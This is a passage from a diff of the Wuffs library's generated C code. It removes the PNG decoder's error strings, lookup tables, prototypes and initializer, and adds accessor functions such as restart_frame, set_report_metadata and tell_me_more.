wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; ++ self->private_impl.p_decode_pass = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -52440,2021 +66092,1710 @@ wuffs_zlib__decoder__do_transform_io( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; +-const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; +-const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; +-const char wuffs_png__error__bad_filter[] = "#png: bad filter"; +-const char wuffs_png__error__bad_header[] = "#png: bad header"; +-const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; +-const char wuffs_png__error__missing_palette[] = "#png: missing palette"; +-const char wuffs_png__error__truncated_input[] = "#png: truncated input"; +-const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; +-const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; +-const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; +-const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; +-const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; +-const char wuffs_png__error__internal_error_inconsistent_frame_bounds[] = "#png: internal error: inconsistent frame bounds"; +-const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; +-const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; +- +-// ---------------- Private Consts +- +-#define WUFFS_PNG__ANCILLARY_BIT 32 +- +-static const uint8_t +-WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { +- { +- 0, 0, 0, 0, 0, 0, +- }, { +- 3, 7, 0, 3, 7, 0, +- }, { +- 3, 3, 4, 3, 7, 0, +- }, { +- 2, 3, 0, 3, 3, 4, +- }, { +- 2, 1, 2, 2, 3, 0, +- }, { +- 1, 1, 0, 2, 1, 2, +- }, { +- 1, 0, 1, 1, 1, 0, +- }, { +- 0, 0, 0, 1, 0, 1, +- }, +-}; +- +-static const uint8_t +-WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 255, 85, 0, 17, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 8, 4, 0, 2, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 0, 3, 1, 2, 0, 4, 0, +-}; +- +-static const uint16_t +-WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 32, 33, 34, 35, 36, 37, 38, 39, +- 40, 41, 42, 43, 44, 45, 46, 47, +- 48, 49, 50, 51, 52, 53, 54, 55, +- 56, 57, 58, 59, 60, 61, 62, 63, +- 64, 65, 66, 67, 68, 69, 70, 71, +- 72, 73, 74, 75, 76, 77, 78, 79, +- 80, 81, 82, 83, 84, 85, 86, 87, +- 88, 89, 90, 91, 92, 93, 94, 95, +- 96, 97, 98, 99, 100, 101, 102, 103, +- 104, 105, 106, 107, 108, 109, 110, 111, +- 112, 113, 114, 115, 116, 117, 118, 119, +- 120, 121, 122, 123, 124, 125, 126, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 41410, 41666, 41922, 42178, 42434, 42690, 42946, +- 43202, 43458, 43714, 43970, 44226, 44482, 44738, 44994, +- 45250, 45506, 45762, 46018, 46274, 46530, 46786, 47042, +- 47298, 47554, 47810, 48066, 48322, 48578, 48834, 49090, +- 32963, 33219, 33475, 33731, 33987, 34243, 34499, 34755, +- 35011, 35267, 35523, 35779, 36035, 36291, 36547, 36803, +- 37059, 37315, 37571, 37827, 38083, 38339, 38595, 38851, +- 39107, 39363, 39619, 39875, 40131, 40387, 40643, 40899, +- 41155, 41411, 41667, 41923, 42179, 42435, 42691, 42947, +- 43203, 43459, 43715, 43971, 44227, 44483, 44739, 44995, +- 45251, 45507, 45763, 46019, 46275, 46531, 46787, 47043, +- 47299, 47555, 47811, 48067, 48323, 48579, 48835, 49091, +-}; +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_2( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_ihdr( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__assign_filter_distance( +- wuffs_png__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint64_t +-wuffs_png__decoder__calculate_bytes_per_row( +- const wuffs_png__decoder* self, +- uint32_t a_width); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__choose_filter_implementations( +- wuffs_png__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_other_chunk( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- bool a_framy); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_actl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_chrm( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_png__decoder__frame_dirty_rect( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_exif( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return wuffs_base__utility__make_rect_ie_u32( ++ self->private_impl.f_frame_rect_x0, ++ self->private_impl.f_frame_rect_y0, ++ self->private_impl.f_frame_rect_x1, ++ self->private_impl.f_frame_rect_y1); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_fctl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_animation_loops + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_gama( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_png__decoder__num_animation_loops( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_iccp( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return self->private_impl.f_num_animation_loops_value; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_plte( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_decoded_frame_configs + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_srgb( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_png__decoder__num_decoded_frame_configs( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_trns( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++ return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++// -------- func png.decoder.num_decoded_frames + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__skip_frame( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_png__decoder__num_decoded_frames( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++ return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_pass( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func png.decoder.restart_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__do_tell_me_more( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_png__decoder__restart_frame( + wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ if (self->private_impl.f_interlace_pass >= 1u) { ++ self->private_impl.f_interlace_pass = 1u; ++ } ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); ++ self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; ++ return wuffs_base__make_status(NULL); ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); ++// -------- func png.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle_tricky( ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_png__decoder__set_report_metadata( + wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables ++ uint32_t a_fourcc, ++ bool a_report) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_png__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_png__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_png__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_png__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), +-}; ++ if (a_fourcc == 1128813133u) { ++ self->private_impl.f_report_metadata_chrm = a_report; ++ } else if (a_fourcc == 1163413830u) { ++ self->private_impl.f_report_metadata_exif = a_report; ++ } else if (a_fourcc == 1195461953u) { ++ self->private_impl.f_report_metadata_gama = a_report; ++ } else if (a_fourcc == 1229144912u) { ++ self->private_impl.f_report_metadata_iccp = a_report; ++ } else if (a_fourcc == 1263947808u) { ++ self->private_impl.f_report_metadata_kvp = a_report; ++ } else if (a_fourcc == 1397901122u) { ++ self->private_impl.f_report_metadata_srgb = a_report; ++ } ++ return wuffs_base__make_empty_struct(); ++} + +-// ---------------- Initializer Implementations ++// -------- func png.decoder.tell_me_more + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_png__decoder__initialize( ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_png__decoder__tell_me_more( + wuffs_png__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; +- self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; +- self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; +- self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( +- &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_zlib__decoder__initialize( +- &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} + +-wuffs_png__decoder* +-wuffs_png__decoder__alloc(void) { +- wuffs_png__decoder* x = +- (wuffs_png__decoder*)(calloc(sizeof(wuffs_png__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_png__decoder__initialize( +- x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ ok: ++ self->private_impl.p_tell_me_more = 0; ++ goto exit; + } +- return x; +-} + +-size_t +-sizeof__wuffs_png__decoder(void) { +- return sizeof(wuffs_png__decoder); +-} ++ goto suspend; ++ suspend: ++ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; + +-// ---------------- Function Implementations ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_1_distance_4_arm_neon ++// -------- func png.decoder.do_tell_me_more + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_arm_neon( ++static wuffs_base__status ++wuffs_png__decoder__do_tell_me_more( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fx = {0}; ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fx = vadd_u8(v_fx, v_fa); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fa = v_fx; +- v_curr.ptr += 4; ++ uint8_t v_c8 = 0; ++ uint16_t v_c16 = 0; ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ 